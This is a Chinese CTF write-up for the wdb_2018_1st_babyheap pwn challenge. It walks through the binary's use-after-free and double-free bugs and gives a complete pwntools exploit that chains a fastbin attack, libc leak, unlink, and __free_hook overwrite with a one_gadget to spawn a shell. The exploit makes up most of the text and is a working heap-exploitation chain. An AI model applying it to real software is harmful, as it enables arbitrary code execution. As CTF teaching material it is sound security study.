fast_attack+unlink(wdb_2018_1st_babyheap)

题目:wdb_2018_1st_babyheap

保护

fast_attack+unlink(wdb_2018_1st_babyheap)_第1张图片

分析

fast_attack+unlink(wdb_2018_1st_babyheap)_第2张图片

alloc函数:fast_attack+unlink(wdb_2018_1st_babyheap)_第3张图片

free函数:

fast_attack+unlink(wdb_2018_1st_babyheap)_第4张图片

edit函数:

fast_attack+unlink(wdb_2018_1st_babyheap)_第5张图片

这题我干掉了睡眠函数,idapython脚本如下:

addres_start = 0x400CE3
addres_end = 0x400CED
for i in range(addres_start,addres_end):
    ida_bytes.patch_byte(i,0x90)

这题的的漏洞还是挺多的uaf、off-by-null、double free但是off-by-null好像用不着,限制条件是每次只能malloc0x30,每次输入空间大小为0x20,程序最多edit 3次,alloc 10次

解题思路

因为程序漏洞较多,且检查少,那么可以利用fast attack去改写原0x30的chunk大小为unsortbin从而泄漏libc,再通过unlin进行在全局变量ptr(0x602060)处写入unlink值,修改__free_hook为onegadget即可getshell

完整exp

from pwn import *
#import sys
'''
远程跑不了 暂时原因未知 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'''
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./wdb_2018_1st_babyheap"

one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23(64)
#one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x3ac6c,0x3ac6d,0x5faa5,0x5faa6] #2.23(32)
#idxs = int(sys.argv[1])

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("node4.buuoj.cn","27897")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)

def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
idx = 0
def alloc(Index,Content = 0):
    global idx
    sla('Choice:','1')
    sla('Index:',str(Index))
    if (Content==0) :
        sla('Content:',str(idx))
    else :
        sla('Content:',Content)
    idx+=1

def show(Index):
    sla('Choice:','3')
    sla('Index:',str(Index))
def free(Index):
    sla('Choice:','4')
    sla('Index:',str(Index))
def edit(Index,Content):
    sla('Choice:','2')
    sla('Index:',str(Index))
    sla('Content:',Content)

################################### Statr ############################################
alloc(0,p64(0) * 3 + p32(0x31)) #伪造fakechunk的size位
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1) #这里记得先free chunk1  先free chunk0的话是打印不了堆地址的
free(0)
free(1) #double free便于后面拿到我们的fakechunk
show(0) #泄漏堆地址
heap = info(ru('\x0a')[:-1],'heap addr') - 0x30

alloc(5,p64(heap + 0x20)) #fast——attack  修改chunk的fd值
alloc(6)
alloc(7)
alloc(8,p64(0) + p64(0x91)) #拿到fakechunk 并修改别的chunk的size位 ,使他变为unsortbin,注意这里是0x91,是3个chunk的总和大小,P标志位为1
free(1) #将fakechunk放入unsortbin中
show(1) #泄漏libc
libc_base = info(ru('\x0a')[:-1],'libc addr') - (0x7f873bc26b78 - 0x7f873b863000)

target = 0x602090
edit(8, p64(0x20) +p32(0xc1))  #再次合并一个0x30的chunk 使自身变为使用状态 , 这里防止top合并全部chunk ,去掉P标志位是因为后面需要通过malloc对chunk0进行内容修改进行伪造fakechunk
free(0)
alloc(9,p64(0) + p64(0x21) + p64(target- 0x18) + p32(target- 0x10))
free(1) #unlink
pa()
edit(6,p64(libc_base + libc.symbols['__free_hook']))
edit(3,p64(libc_base + one[1]))

free(0)
################################### End ##############################################
p.interactive()

你可能感兴趣的:(pwn题目,pwn)